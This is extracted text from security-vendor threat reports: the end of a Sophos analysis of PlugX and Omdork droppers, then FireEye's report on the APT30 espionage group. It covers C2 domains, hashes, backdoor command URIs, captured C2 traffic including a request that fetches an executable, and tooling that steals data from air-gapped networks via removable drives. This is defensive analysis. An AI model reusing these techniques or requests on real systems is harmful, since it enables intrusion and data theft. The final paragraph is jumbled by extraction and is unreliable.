HKLM\SYSTEM\CurrentControlSet\Services\dUuNvGfDQkAll ImagePath and by placing n.dll in the Windows Tasks directory. The payload is next generation P2P PlugX [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05. html], date constant is decimal 20141028. The n.dll file executes a backup installer, M.B, which is dropped into the %TEMP% directory. The only problem is that this file is never created. SAV detection: Troj/DocDrop-CD, Troj/Omdork-E, Troj/PlugX-AP C&C servers: www.notebookhk.net Registrant Name: lee stan Registrant Organization: lee stan Registrant Street: xianggangdiqu Registrant City: xianggangdiqu Registrant State/Province: xianggang Registrant Postal Code: 796373 Registrant Country: HK Registrant Phone : +0.04375094543 Registrant Phone Ext: Registrant Fax: +0.04375094543 Registrant Fax Ext: Registrant Email:stanlee@gmail.com 56b3f0f03ae12b56c000df67c1153d518c8a66fc This sample is an outlier. It does not distribute PlugX, but uses a strikingly similar persistence method, with exactly the same file names that are used with PlugX installations. Only the final payload is a different backdoor, Omdork, which has earlier been observed in PlugX related distribution channels. A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: United Nations Security Council Committee Pursuant to Resolutions1267.doc System activity: Dropped to C:\Documents and Settings\All Users\FlashUpdate\RasTls.exe and C:\Documents and Settings\All Users\FlashUpdate\msi.dll.mov (encrypted payload) and %WINDOWS%\Tasks\n. dll. The persistence is achieved by two methods: RasTls.exe is registered in HKCU\Software\ Microsoft\Windows\CurrentVersion\Run msusr, and the n.dll is dropped to the Windows Tasks directory for automatic execution. While the file names are the same as in the case of many PlugX deployments, the files themselves are very different. RasTls.exe is not digitally signed, it is the loader Trojan, that loads the encrypted payload from a resource. This payload itself contains a loader code, and an embedded executable, that is the final payload. The n.dll file executes a backup installer, M.B, which is dropped into the %TEMP% directory. This installer is a self-extracting WinRAR that contains RasTls.exe and a config file. There are still reasons to believe that this malware is strongly connected to the PlugX group: It uses the same filenames as some of the PlugX deployments It uses the same carrier document as the other PlugX variants in this campaign, including the unique shellcode The same n.dll is used in both the Omdork and PlugX deployments A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) SAV detection: Troj/DocDrop-CD, Troj/Omdork-E C&C servers: www.togolaga.com Registrant Name: wang feng Registrant Organization: wang feng Registrant Street: beijingshi Registrant City: beijingshi Registrant State/Province: beijing Registrant Postal Code: 100000 Registrant Country: CN Registrant Phone : +86.01090888962 Registrant Phone Ext: Registrant Fax: +86.01090888962 Registrant Fax Ext: Registrant Email:battuya_2002@yahoo.com More than 100 million users in 150 countries rely on Sophos as the best protection against complex threats and data loss. Sophos is committed to providing complete security solutions that are simple to deploy, manage, and use that deliver the industry s lowest total cost of ownership. Sophos offers award winning encryption, endpoint security, web, email, mobile, server and network security backed by SophosLabs a global network of threat intelligence centers. Read more at www.sophos.com/products. United Kingdom and Worldwide Sales Tel: +44 (0)8447 671131 Email: sales@sophos.com North American Sales Toll Free: 1-866-866-2802 Email: nasales@sophos.com Oxford, UK | Boston, USA Copyright 2014. Sophos Ltd. All rights reserved. Registered in England and Wales No. 2096520, The Pentagon, Abingdon Science Park, Abingdon, OX14 3YP, UK Sophos is the registered trademark of Sophos Ltd. All other product and company names mentioned are trademarks or registered trademarks of their respective owners. 1180-06.14DD.tpna.simple Australia and New Zealand Sales Tel: +61 2 9409 9100 Email: sales@sophos.com.au Asia Sales Tel: +65 62244168 Email: salesasia@sophos.com S P E C I A L R E P O R T FIREEYE LABS / FIREEYE THREAT INTELLIGENCE APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION How a Cyber Threat Group Exploited Governments and Commercial Entities across Southeast Asia and India for over a Decade APRIL 2015 SECURITY REIMAGINED SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines CONTENTS APRIL 2015 Introduction Key Findings APT30: In It for the Long Haul Professionally Developing Tools: APT30 Uses a Consistently Organized Malware Development Approach Using Two-Stage C2 to Balance Stealth and Scalability APT30 s Full-Featured Backdoor Control System Suggests Target Prioritization and Shift Work Establishing Remote Control BACKSPACE Controller-Backdoor Communication Target Host Prioritization and Alerts Executing Custom Tasks Version Control and Automatic Updates Disk Serial Number Authentication APT30 Possibly Working in Shifts APT30 s Primary Mission: Data Theft for Political Gain APT30 s Targets Align with Chinese Government Interests and Focus on Southeast Asia APT30 Pursues Members of the Association of Southeast Asian Nations (ASEAN) ASEAN-themed Infrastructure and Customized Tools Customized Malware Deployed around ASEAN Summits in January and April 2013 Social Engineering Consistently Includes Regional Security and Political Themes APT30 Leverages Major Political Transition as Phishing Lure Content in Campaign Geared to Key Political Stakeholders Repeated Decoy Subjects on India-China Military Relations and Contested Regions APT30 s Targeting of Journalists and Public Relations Topics Conclusion Appendix A - Detailed Malware Analysis Backdoors BACKSPACE Backdoor Variant BACKSPACE Backdoor Variant NETEAGLE Backdoor Scout Variant NETEAGLE Backdoor Norton Variant Malware Targeting Removable Drives SHIPSHAPE SPACESHIP FLASHFLOOD Miscellaneous Tools MILKMAID / ORANGEADE Droppers and CREAMSICLE Downloader BACKBEND and GEMCUTTER Downloaders Appendix B MD5 HASHES Appendix C ENDNOTES SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation APT30 is noted for sustained activity, but also for successfully maintaining the same tools, tactics, and infrastructure since at least 2005. hen our singapore-based fireeye labs team examined malware aimed predominantly at entities in Southeast Asia and India, we suspected that we were peering into a regionally focused cyber espionage operation. The malware revealed a decade-long operation focused on targets government and commercial hold key political, economic, and military information about the region. This group, who we call APT30, stands out not only for their sustained activity and regional focus, but also for their continued success despite maintaining relatively consistent tools, tactics, and infrastructure since at least 2005. In essence, our analysis of APT30 illuminates how a group can persistently compromise entities across an entire region and subcontinent, unabated, with little to no need to significantly change their modus operandi. Based on our malware research, we are able to assess how the team behind APT30 works: they prioritize their targets, most likely work in shifts in a collaborative environment, and build malware from a coherent development plan. Their missions focus on acquiring sensitive data from a variety of targets, which possibly include classified government networks and other networks inaccessible from a standard Internet connection. While APT30 is certainly not the only group to build functionality to infect air-gapped networks into their operations, they appear to have made this a consideration at the very beginning of their development efforts in 2005, significantly earlier than many other advanced groups we track. Such a sustained, planned development effort, coupled with the group s regional targets and mission, lead us to believe that this activity is state sponsored most likely by the Chinese government. Rather than focus on the potential sponsorship of this activity, this report seeks to thoroughly analyze the development effort of one of the longest-running advanced threat groups ve observed. SPECIAL REPORT India Thailand Nepal Indonesia Cambodia South Korea Saudi Arabia Bhutan Brunei Japan Malaysia United States Philippines Myanmar Singapore Laos APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Vietnam KEY FINDINGS YEARS APT30 s development and refinement of a set of integrated tools, as well as their re-use of infrastructure over a period of 10 years, suggests a consistent long-term mission. This suite of tools includes downloaders, backdoors, a central controller, and several components designed to infect removable drives and cross air-gapped networks to steal data. APT30 frequently registers their own DNS domains for use with malware command and control (C2). Based on their presence in malware samples, some of the domains have been in use for many years. APT30 has a structured and organized workflow, illustrative of a collaborative team environment, and their malware reflects a coherent development approach. The group (or the developers supporting them) systematically labels and keeps track of their malware versioning. The malware uses mutexes and events to ensure only a single copy is running at any given time, and the malware version information is embedded within the binary. Malware C2 communications include a version check that allows the malware to update itself to the latest copy, providing a continuous update management capability. The controller software for APT30 s BACKSPACe backdoor (also known Lecna ) suggests the threat actors prioritize targets and may work on shifts. APT30 backdoors commonly use a twostage C2 process, where victim hosts contact an initial C2 server to determine whether they should connect to the attackers main controller. The controller itself uses a GUI that allows operators to prioritize hosts, add notes to victims, and set alerts for when certain hosts come online. Finally, an unused dialog box in the controller provides a login prompt for the current attendant. The group s primary goal appears to be sensitive information theft for government espionage. APT30 malware includes the ability to steal information (such as specific file types), including, in some cases, the ability to infect removable drives with the potential to jump air gaps. Some malware includes commands to allow it to be placed in hide mode and to remain stealthy on the victim host, presumably for long-term persistence. APT30 predominantly targets entities that may satisfy governmental intelligence collection requirements. The vast majority of APT30 s victims are in Southeast Asia. Much of their social engineering efforts suggest the group is particularly interested in regional political, military, and economic issues, disputed territories, and media organizations and journalists who report on topics pertaining to China and the government legitimacy. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation APT30: In It for the Long Haul DOMAIN DOMAIN REGISTRATION DATE COMPILE DATE EARLY SAMPLE COMPILE DATE RECENT SAMPLE km-nyc.com 11 March 2004 11 March 2005 11 May 2014 km153.com 30 August 2007 4 September 2007 11 May 2014 ur analysis of APT30 s malware and domain registration data shows the group has been operating for over a decade. The earliest-known registration dates for domains attributed to APT30 go back to 2004, and the compile times for APT30 malware using those domains for C2 date back to 2005.1 Typically, threat groups who register domains for malicious use will abandon them after a few years. APT30, however, has used some of their domains for more than five years, with some of their earliest domains still in use as of at least late 2014. For example, one of the earliest known BACKSPACE malware samples (md5 hash b2138a57f723326eda5a26d2dec56851) was compiled onMarch 11, 2005 at 00:44:47. The sample used the domain www.km-nyc[.] com as its primary C2 location. That domain was still in use as a secondary C2 domain in a BACKSPACE sample compiled as recently as November 5, 2014 05:57:26 (md5 hash 38a61bbc26af6492fc1957ac9b05e435). For such a long operational history, APT30 appears to have conducted their activity using a surprisingly limited number of tools and backdoors. One reason for this might be that they have had no need to diversify or add to their arsenal if they have been successful with their current approach. Although APT30 has used a variety of secondary or supporting tools over the years (such as droppers and downloaders used to deploy APT30 s primary backdoors), their primary tools have remained remarkably consistent over time: namely, the backdoors BACKSPACE and NETEAGLE, and a set of tools (SHIPSHAPE, SPACESHIP, and FLASHFLOOD) believed to be designed to infect (and steal data from) air-gapped networks via infected removable drives. Where some threat groups might exchange one backdoor for another as newer, more flexible, or more feature-rich tools become available, APT30 has chosen to invest in the long-term refinement and development of what appear to be a dedicated set of tools. This suggests that APT30 (or the developers providing them with tools) has the ability to modify and adapt their source code to suit their current needs or their target environment. The earliest variants of the BACKSPACE backdoor date to at least 2005, and versions of the backdoor remain in use today. BACKSPACE itself appears to have a flexible, modularized development framework and has been modified over time to create a wide range of variants. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation APT30 appears to have a consistent, long-term mission that relies on existing tools to remain sufficient over time. FireEye has identified two main branches of the BACKSPACE code ( and each compiled with a slightly different set of commands. In addition, while BACKSPACE has been implemented in a variety of ways (e.g., as a standalone EXE, as a DLL, as an EXE that extracts and launches a DLL at runtime) and leveraged a variety of persistence methods (e.g., via a shortcut (.lnk) file in the Startup folder, as a service DLL), the core functionality has remained largely unchanged, although some additional features have been added over time. While the NETEAGLE backdoor does not have as venerable a history (identified samples were compiled as early as 2008 and as recently as 2013), it shows a similar pattern of long-term refinement and modification, including the development of two main variants (which we call the Scout and Norton variants). Just as with BACKSPACE, while the details of implementation and specific features across NETEAGLE samples may vary, the core functionality remains the same except for the addition of features or enhancements. This dedication to adapting and modifying tools over a number of years, as opposed to discarding old tools in favor of newer, readily available ones, implies that APT30 has a long-term mission, and that their mission is consistent enough for their existing tools to be sufficient to support their operations over a long period of time. MALWARE / TOOL COMPILE DATE EARLY SAMPLE COMPILE DATE RECENT SAMPLE BACKSPACE 2 January 2005 5 November 2014 NETEAGLE 20 June 2008 6 November 2013 SHIPSHAPE 22 August 2006 9 June 2014 SPACESHIP 23 August 2006 5 June 2014 FLASHFLOOD 31 January 2005 17 February 2009 SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation PROFESSIONALLY DEVELOPING TOOLS: APT30 Uses a Consistently Organized Malware Development Approach n addition to APT30 s long-term use of a regular set of tools, in most cases the tools themselves while they may vary in purpose share a consistent set of development features. In particular, the tools all exhibit a carefully managed versioning system and a consistent method for checking version information, performing updates, and ensuring only a single copy of a given tool is running on a victim host at any time. This suggests that APT30 is dedicated to maintaining a tightly run, efficient operation. BACKSPACE, NETEAGLE, SHIPSHAPE, and SPACESHIP all maintain an internal version number and include some means to check their version number against a reference version, and attempt to automatically update the malware if its version is different than the reference number. For some APT30 malware, we speculate that the version string may also describe additional properties of the malware. For instance, one variant of BACKSPACE ( ZRLnk ) uses a version string where the first two digits indicate the malware version number. The next character may indicate the type of icon stored in the file resource section and possibly the type of exploit document used to deliver the malware (for example, for Acrobat Reader / PDF and for Microsoft Word 2). Finally, the next character ( may indicate that that the malware uses a shortcut (.lnk) file to maintain persistence. 3 Table 1: ZRLnk version history MD5 Hash Version Compile Time Size b4ae0004094b37a40978ef06f311a75e 1.0.p.l 4 November 2010 03:51 73,728 37aee58655f5859e60ece6b249107b87 1.1.w.l 25 February 2011 02:03 32,768 8ff473bedbcc77df2c49a91167b1abeb 1.2.w.l 4 May 2011 14:46 49,152 4154548e1f8e9e7eb39d48a4cd75bcd1 1.2.w.l 4 May 2011 14:46 17,408 15304d20221a26a0e413fba4c5729645 1.2.w.l 16 May 2011 11:03 36,864 c4dec6d69d8035d481e4f2c86f580e81 1.3.w.l 26 October 2011 11:21 40,960 a813eba27b2166620bd75029cc1f04b0 1.3.p.l 28 June 2012 10:01 86,144 5b2b07a86c6982789d1d85a78ebd6c54 1.5.w.lN 8 January 2013 01:33 10,518,528 71f25831681c19ea17b2f2a84a41bbfb 1.6.w.lY 23 April 2013 08:12 57,344 6ee35da59f92f71e757d4d5b964ecf00 1.9.w.lY 28 August 2014 0 9:12 57,344 SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation APT30 likely either develops their own tools or has a working relationship with developers who are able to consistently perhaps exclusively - support them. With respect to version numbers, the BACKSPACE variant has the longest revision history. Our analysis of 55 ZJ samples showed versions from 1.2 through 20.50 spanning nearly eight years (from 2005 through 2012, based on compile times). Besides version control, most malware used by APT30 (to include BACKSPACE, SHIPSHAPE, SPACESHIP, and FLASHFLOOD) uses a consistent methodology (a set of mutexes and events) to manage malware execution and ensure that only a single copy of a given piece of malware is running at any one time, presumably to decrease the chances of detection. The mutexes and events are highly consistent in their naming conventions, with most containing the terms Microsoft or or both. The mutex is created when the malware executes, and ensures only one copy is running at a time. The events use similar naming conventions as the mutexes, and are used to signal the malware and associated threads to exit.4 The emphasis on malware versioning implies a structured and well-managed development environment. Similarly, the close attention to ensuring only one copy of a given tool is running at a time and a well-developed, automated means of update management imply that these tools are in use by a professional team of threat actors. We can infer that the threat actors are interested in maintaining the latest and greatest versions of their tools in their victims environments. Likewise, the threat actors are likely operating at a sufficiently large scale that they benefit from the automated management of many of their tools. While there is no guarantee that the tools described in this paper are exclusive to APT30, we have not yet observed these tools used by any other threat groups. That the tools have evolved over time while maintaining a consistent amount of core functionality indicates that APT30 has development resources available to modify and customize their malware. This implies either that APT30 is responsible for developing their own tools, or has a working relationship with developers able to support them in a consistent (and possibly exclusive) manner. Table 2: Mutexes and events used for process execution and version control Malware Example Mutexes / Events BACKSPACE MicrosoftZj MicrosoftExit MicrosoftHaveAck MicrosoftHaveExit BACKSPACE MicrosoftZjLnk MicrosoftExitLnk MicrosoftHaveLnkAck MicrosofthaveLnkExit SHIPSHAPE MicrosoftShipZJ MicrosoftShipExit MicrosoftShipHaveAck MicrosoftShipHaveExit SPACESHIP FLASHFLOOD MicrosoftShipTrZJ MicrosoftShipTrExit MicrosoftShipTrHaveExit MicrosoftFlashZJ MicrosoftFlashExit MicrosoftFlashHaveAck MicrosoftFlashHaveExit SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation USING TWO-STAGE C2 to Balance Stealth and Scalability he BACKSPACE and NETEAGLE backdoors used by APT30 use a two-stage C2 infrastructure. The backdoors are configured with an initial (stage one) set of C2 locations, typically one or more C2 domains. Interaction with the stage one C2 is fully automated; that is, the stage one C2 does not support any interactive communication between the threat actor and the victim computer. Both BACKSPACE and NETEAGLE use HTTP requests to interact with the stage one C2, requesting URIs to download different files that are used to obtain basic instructions, information (including second stage C2 locations) or download and execute additional binaries. While victim hosts may beacon to the second stage C2 (e.g., transmit data about the victim without expectation of a response), only those victim hosts specifically instructed to do so will establish a full connection to a BACKSPACE controller. Once the malware has connected to the controller, the threat actor can interact directly with the victim host. By using this two-stage approach, the threat actors introduce a layer of obfuscation between themselves and their victims. This also allows them to better manage their victims, particularly at scale; newly infected victims can interact with the stage one C2 servers in an automated fashion until the threat actors can review them and select particular hosts for interactive, stage two exploitation. The table below shows an example set of URIs that may be requested by the BACKSPACE sample with md5 hash 6ee35da59f92f71e757d4d5b964ecf00, and the purpose of each file.5 Full URIs are in the format of hxxp:////, where is one of the backdoor s specified C2 domains; is a path name that typically varies across samples (/some/ or /ForZRLnk3z/ in the examples below); and is the specific file requested. Table 3: Example URIs used for BACKSPACE first-stage C2 URI (/) Function /ForZRLnk3z/hostlist.txt Validation check and list of victims to perform further actions. /some/edih.txt Switch specified victims to hide mode. /some/nur.txt Switch specified victims to mode. /ForZRLnk3z/bak.txt Switch to backup stage one C2 server (BACKSPACE is typically configured with main and backup first-stage C2 servers). /ForZRLnk3z/app.txt Download and execute the file. /ForZRLnk3z/myapp.txt Download and execute the file (if victim appears in hostlist.txt). /ForZRLnk3z/ver.txt Perform version check. /ForZRLnk3z/exe.txt Download and execute the file if the version check fails (self-update). /ForZRLnk3z/SomeUpVer.txt Backup URI for version check. /ForZRLnk3z/SomeUpList.txt List of hostnames that should perform self-update if backup version check fails. /ForZRLnk3z/SomeUpExe.txt Backup URI for self-update. /ForZRLnk3z/dizhi.gif Second-stage C2 information (IP address and port(s)). /ForZRLnk3z/connect.gif List of victims to connect to second-stage C2 controller. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Figure 1: A typical victim interaction with the stage one and stage two C2 servers Stage Two C2 Server (IP:port1:port2) Stage One C2 Server BACKSPACE Victim Host 1. APT30 threat actor uses the BACKSPACE controller to generate dizhi.gif and upload it to the Stage One C2. The file contains IP:port1:port2 information for Stage Two C2. port 1 port 2 2. Victim host downloads dizhi.gif from the Stage One C2. dizhi.gif dizhi.gif system information port 1 3. Victim host transmits system information via HTTP POST beacon to IP:port1 (connection is instantly created). 4. APT30 threat actor uses the BACKSPACE controller to generate connect.gif and upload it to the Stage One C2. The file contains the hostname and host ID of the victim computer. port 1 port 2 connect.gif 5. Victim host downloads connect.gif from the Stage One C2, compares the hostname and host ID. connect.gif port 2 6. Victim host establishes a separate TCP connecton to IP:port2 for remote control (connection is kept during the control). SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation APT30 S FULL-FEATURED BACKDOOR CONTROL SYSTEM Suggests Target Prioritization and Shift Work dditional information about APT30 operations can be inferred by examining the GUI controller used to manage their BACKSPACE backdoors. FireEye analyzed three copies of the BACKSPACE controller software, known as the NetEagle Remote Control System (according to the version information from one sample) or (according to the About dialog box). Although the copies we analyzed were compiled in 2010, 2011, and 2013 respectively, the tool s descriptions indicate the original controller software may have been developed as early as 2004.7 The BACKSPACE controller is a well-developed, full-featured GUI tool. The controller includes main menu items for System Network File Remote , and Attack operations, in addition to the About dialog box. Information about victim hosts connected to the controller is displayed in the lower panes, including the hostname, internal and external IP addresses, system uptime, and OS version and language. Many of APT30 s tools perform version checks and attempt to self-update. Figure 2: Version information from BACKSPACE controller Comments: 2004 Microsoft Corporation. Flyeagle science and technology company NetEagle Remote Control Software FileVersion: InternalName: Neteagle 2004 NETEAGLE.EXE PrivateBuild: NetEagle Remote Control Software SpecialBuild: Figure 3: "About" dialog box from "NetEagle" BACKSPACE controller SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Figure 4: BACKSPACE controller GUI with sample victim data System Local Info Network File Remote Attack About Computer Name Hostname Public IP Hostname Public IP Location Private IP Private IP Location Refresh Interval (min) Up-Time Location Up-Time OS/Language Online Capacity Comment Host ID Domain Controller Name Comment Domain Host ID Controller Name Figure 5: BACKSPACE controller showing sample victim idle (top), and with remote control established (bottom) ESTABLISHING REMOTE CONTROL Communication with the stage two C2 server (e.g., the BACKSPACE controller) is managed via two files hosted on the stage one C2 server, dizhi.gif and connect.gif. BACKSPACE victim computers will retrieve dizhi.gif and transmit information about the victim computer (via HTTP POST) to the second stage IP address and port specified in that file. This victim information is used to populate the controller GUI (see Figure 4). However, BACKSPACE clients do not establish interactive connections to the BACKSPACE controller by default, as this would increase the risk of exposing the second-stage C2 server. When a threat actor wants to establish remote control over a victim host, he uploads a notification file (e.g., connect.gif) containing the victim hostname and host ID number to the stage one C2 server. Victim hosts will parse the connect.gif file retrieved from the server and connect to the BACKSPACE controller (using the data from dizhi.gif) if their hostname and host ID are present in the file. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Both dizhi.gif and connect.gif are generated by the BACKSPACE controller based on userdefined configuration settings and automatically uploaded to the stage one C2 server. This simplifies management of victim computers, reduces the risk of configuration errors, and allows even relatively unskilled operators to manage C2 infrastructure and victim hosts. The screen shot below shows the configuration options for the two files, including the FTP credentials used to connect to the stage one server, the path for the files, the names of the files, and the primary and backup stage one C2 servers. These same configuration settings are used to customize a copy of the BACKSPACE malware, by patching the relevant bytes within the BACKSPACE binary. Double-clicking an idle victim in the BACKSPACE controller GUI will automatically create (or update) connect.gif with that victim s hostname and host ID and upload the new file to the stage one C2 server. The next time the victim parses the file, it will establish a connection to the controller. Figure 7: Dialog box for configuring ports for second stage C2 Similarly, a second dialogue box allows the threat actor to specify the ports (listed in dizhi.gif) used for communication with the second stage C2 server/BACKSPACE controller. The first port is used to transmit victim data via HTTP POST. The second port is used to establish an interactive connection with the BACKSPACE controller. The third port is used for a reverse command shell between the controller and the victim. Figure 6: Configuration options for dizhi.gif and connect.gif SPECIAL REPORT Figure 8: Sample victim host data sent to BACKSPACE controller APT30 and the Mechanics of a Long-Running Cyber Espionage Operation POST /index.htm HTTP/1.0 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) HOST: 192.168.43.130:80 Pragma: no-c ache Content-Length: 235 Proxy-Connection: Keep-Alive USER-29861D99F7.192.168.43.133.............(......Service Pack 3......................................................................... .....................................................N..1.0.p.18:32.www.stonehoof. com/ForZRMail.. BACKSPACE CONTROLLER BACKDOOR COMMUNICATION TARGET HOST PRIORITIZATION AND ALERTS The BACKSPACE controller uses a modified HTTP protocol to communicate with BACKSPACE clients on victim hosts. Victim hosts send data to the controller in HTTP POST format. When the controller receives the data, it ignores other HTTP headers and only parses the Content-Length value and the body data. No acknowledgement packet is sent back to the backdoor. The BACKSPACE controller allows the threat actors to further manage their victim hosts by labeling individual hosts with a comment, assigning a priority level to the victim ( Normal Important , or Very Important ), and setting an alert to notify the threat actor when the victim host comes online. The BACKSPACE controller sends remote command messages to BACKSPACE clients in the format below, disguised as a response from a Microsoft IIS 6.0 server. Similar to the controller, the BACKSPACE client only parses the ContentLength field and the remote command stored in the body and ignores other HTTP headers. Figure 9: Sample remote command sent from controller to BACKSPACE backdoor APT30 assigns a priority level to their victims: Normal, Important, and Very Important. Figure 10: Dialog box to set priority and other options on a victim host HTTP/1.1 200 OK Server: Microsoft-IIS6.0 Content-Length: 12 Content-Type: */* Accept-Ranges: bytes Connection: Keep-Alive B....C:\*.*. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Figure 11: BACKSPACE controller automatically execute custom task command EXECUTING CUSTOM TASKS The BACKSPACE controller includes a menu item called Automatically Execute Custom Task (highlighted below) which sends the command supported by some variants of the BACKSPACE backdoor.8 When the backdoor receives this command, it uploads data to the controller from predefined paths on the victim host ($LDDATA$\ and %WINDIR%\$NtUninstallKB900727$\). This special command appears to be used to retrieve stolen data from the victim computer in an automated fashion (as opposed to manually uploading files or directories). Of note is that these paths are found in other tools used by APT30 (specifically SPACESHIP and FLASHFLOOD) believed to be used to target airgapped computers and networks.9 Below the Automatically Execute Custom Task menu item is another custom option for GOTO custom path . When selected, that menu item also directs the operator to a predefined custom path (one used by some versions of FLASHFLOOD) by default: VERSION CONTROL AND AUTOMATIC UPDATES Like many of the tools used by APT30, the BACKSPACE controller also performs a version check and attempts to self-update. The controller will transmit the following HTTP requests for a version file (NetEagleVer.txt) and updated binary (NetEagle.exe) when it starts. Figure 13: BACKSPACE controller version check and self-update GET /NE.General NetEagleVer.txt HTTP/1.1 Accept: */* User-Agent: HttpClient Host: www.km153.com GET /NE.General/NetEagle.exe HTTP/1.1 Accept: */* User-Agent: HttpClient Host: www.km153.com Figure 12: BACKSPACE controller showing path used by other APT30 tools SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Figure 14: Encoded disk serial numbers in the BACKSPACE controller binary DISK SERIAL NUMBER AUTHENTICATION The BACKSPACE controller also includes a check to ensure that the controller is only run on authorized machines. The controller compares the local host s hard disk serial number with 45 encoded serial numbers hardcoded within the controller binary, and continues execution only if there is a match. This indicates that the developers of the controller wanted to limit its distribution and use. The developers could have written the controller for themselves; alternately, the controller could have been sold with built-in restrictions so the developers could continue to write and sell custom versions to others.10 Given the tightly integrated nature of much of APT30 malware (with each other and with the controller) and the fact that the controllers themselves use APT30 domains to perform self-update checks, it seems more likely that APT30 (or a group of developers closely aligned with them) created the controller for their own use. APT30 POSSIBLY WORKING ON SHIFTS In our analysis of the BACKSPACE controller, we identified a dialog box in the portable executable (PE) resource section. The dialog box included a login prompt with the text which translates to Please enter your attendant code . This suggests the tool may have been designed to track work shifts amongst multiple operators, although this particular feature was disabled in the sample we analyzed. The history of the BACKSPACE controller (possibly written as early as 2004, and still compatible with BACKSPACE variants compiled within the past year) reflects a tool developed over time and designed to facilitate detailed interaction with victim hosts through a relatively simple interface. The tool is capable of supporting interaction with a large number Figure 15: BACKSPACE controller attendant dialog box of victim hosts, and includes features to allow the operator to filter, prioritize, alert on, and otherwise manage his or her victims, implying operations large enough to warrant such features. The controller exhibits the same diligent version control and self-updating features observed in other malware used by APT30. In addition, the serial number checks built in to the BACKSPACE controller imply a very limited distribution tool designed to be used by only a select number of users. Finally, the attendant dialog box implies that the controller itself may have been designed for use in a highly organized environment. All of these factors point to a threat group with long-term, organized, and structured development resources; a need to manage and track a potentially large number of victims over time; and an organized work force responsible for carrying out the group s objectives. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation APT30 S PRIMARY MISSION: Data Theft for Political Gain ased on our knowledge of APT30's targeting activity and tools, their objective appears to be data theft as opposed to financial gain. APT30 has not been observed to target victims or data that can be readily monetized (for example, credit card data, personally identifiable information, or bank transfer credentials). Instead, their tools include functionality that allows them to identify and steal documents, including what appears to be an interest in documents that may be stored on air-gapped networks. Both the BACKSPACE and NETEAGLE backdoors support a range of command functions that allow the threat actors to manipulate files on the victim host, including reading and writing files, searching for files with specific names or attributes, deleting files, and uploading selected files to the controller. While those commands are not atypical for full-featured backdoors, some of the BACKSPACE commands are more specialized, returning file metadata (such as file name, size, attributes, and MAC times) to the controller.12 Transmitting metadata allows BACKSPACE to send less data to the server and for the threat actor to determine, based on results, which files to select for uploading both techniques result in less data transferred over the network, which is less likely to draw attention. SHIPSHAPE, SPACESHIP, and FLASHFLOOD are three separate pieces of malware with different functions that appear to be designed to work together to infect removable drives, spread to additional systems (including potentially airgapped systems), and steal files of interest. The tools frequently reference (in the mutexes, events, and registry keys they use) the terms Flash (perhaps for flash drive Ship ShipTr , and ShipUp , as though the tools were designed to ship data between computers and a removable drive. We identified one SPACESHIP variant that used the term LunDu where the term ShipTr would normally appear. LunDu means ferry in Chinese and the malware may be designed to ferry stolen documents from an air-gapped network, to a removable drive, to an Internet-connected host where they can be removed by the attacker. In addition, the malware frequently uses the initials in several places, including the SHIPSHAPE version file (ldupver. txt), the folder \$LDDATA$\ used by some versions of SPACESHIP to store stolen data, and the .ldf file extension on the encoded files containing stolen data. The three tools have separate but complimentary functions: 13 SHIPSHAPE is designed to copy files from specific paths on a SHIPSHAPE-infected computer to a removable drive inserted into the host. SHIPSHAPE looks for existing files and folders on the removable drive and marks them as hidden. It then copies executable files to the removable drive, using the same names as the existing files and folders, but with an .exe extension. SHIPSHAPE modifies the host settings to hide file extensions, so the executables appear to be the original documents. When viewed in Windows Explorer, the contents of the removable drive appear normal: Figure 16: Removable drive infected by SHIPSHAPE SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation APT30 identifies and steals documents, especially documents that may be stored on air-gapped networks. However, viewing the contents of the drive from the command line will show both sets of files: Figure 17: Actual contents of infected drive Malicious files A user attempting to open a document from the infected drive would execute a copy of the malware instead. SPACESHIP is believed to be the malware that is copied to a removable drive by SHIPSHAPE, presumably to transfer SPACESHIP to an airgapped computer. SPACESHIP is designed to search a victim computer for specific files (based on file extension or last modified time). Files that match the search criteria are compressed, encoded, and copied to a specified location on the infected host. When a removable drive is inserted into the infected computer, the encoded files are copied from that location to the removable drive. FLASHFLOOD is responsible for copying files from an inserted removable drive to the hard drive of an infected computer, presumably to remove files transferred from the air-gapped system to an Internet-connected machine for removal from the victim network. FLASHFLOOD will scan both the infected system and any inserted removable drive for specific files (based on file extension or last modified time) and copy them to a specified location, using the same compression and encoding method as SPACESHIP. FLASHFLOOD may also log additional information about the victim host, including system information and data from the user s Windows Address Book. SingaporeSPECIAL REPORT Laos APT30 and the Mechanics of a Long-Running Cyber Espionage Operation APT30 S TARGETS ALIGN with Chinese Government Interests and Focus on Southeast Asia PT30 has routinely set itsAPT30 sights onand the Mechanics We usedof a variety of sources toCyber understand a Long-Running Espionage Operation SPECIAL REPORT SPECIAL REPORT targets across Southeast Asia and India. APT30 s intended targets. Our sources include: We have observed APT30 target national APT30 malware alerts from FireEye customers, governments, regionally based companies decoy document content and Espionage intended Operation APT30 Mechanics a Long-Running Cyber SPECIAL REPORT APT30 and the Mechanics of a Long-Runningphishing Cyberof Espionage Operation industries, and members of the media who report recipients, over 200 APT30 malware samples, and on regional affairs and Chinese government APT30 s operational timing and infrastructure. issues. Based on APT30 s confirmed targets We also noted that some 96% of the APT30 and their intended victims, the group s interests malware that we detected through our products appear to concentrate on Southeast Asia regional attempted to compromise our clients located in APT30 